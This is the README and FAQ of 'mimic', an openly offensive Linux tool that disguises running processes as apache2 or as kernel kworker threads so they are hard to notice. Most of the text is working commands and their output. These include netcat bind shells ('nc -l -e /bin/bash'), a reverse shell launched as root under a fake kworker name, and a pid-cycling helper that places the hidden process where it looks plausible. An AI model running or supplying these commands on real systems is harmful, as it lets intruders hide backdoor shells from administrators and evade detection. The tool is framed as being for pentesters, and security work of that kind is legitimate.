Will this work with scripts?
Yes, but you need to call mimic directly on the interpreter. For example, if the first line of your script is "#!/usr/bin/perl" then you'll want to call mimic like this:

empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

By invoking the interpreter directly, mimic can work it's magic.

Who is the target audience for mimic?
Anyone who legitimately needs covert execution before they have gotten root. This includes, but is not limited to:

• Pentesters.
• Investigators performing covert operations (with the prior approval of their Legal and HR departments, of course.)

Why is it called "mimic"?
Because "Liar, liar, /proc on fire!" was too long.

What is "set_target_pid"?
set_target_pid is a small helper program in the mimic suite that will exhaust pids until the one you want comes back around. This allows you to choose where in the process listing you want your process to sit. Note that the kernel reserves the first 300 pids for kernel threads. If you try to go below that, you'll probably end up running with pid 301.

Installation

git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make

Usage

usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
 -e Execute COMMAND.
 -m Setup COMMAND to look like MIMIC.
   Default for non-root is:    "/usr/sbin/apache2 -k start"
   Default for root is:        "[kworker/0:0]"
 -b Launch COMMAND in the background.
 -a Add / overwrite KEY to the mimic environment with associated VALUE.
 -q Be quiet! Do not print normal output.
 -h Print this helpful message.

 Notes:
  The MIMIC environment will be a copy of the COMMAND environment.
  The '_' variable is automatically changed.
  The -a flag can be called multiple times to add / overwrite multiple variables.

 Examples:
  mimic -e /bin/bash
  set_target_pid 1 && mimic -e /bin/bash
  mimic -b -e "./revsh"
  mimic -b -e "nc -l -e /bin/bash"
  mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Examples
First example - Launching a netcat listener as a regular user:

empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

 Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

Second example - Launching a netcat reverse shell as root:

root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Can you spot the fake kworkers? Would you be able to without the help of grep?

root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

Of course, no kworker should have an open socket, but I'm sure you can be more creative with your naming choices than this. :)

root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

Note that I'm running here as root only because a kworker thread should be very suspicious running as a non-root user. The new mimic name is just a string. It doesn't have to be an existing process. Hell, it doesn't even have to be a real thing!

empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!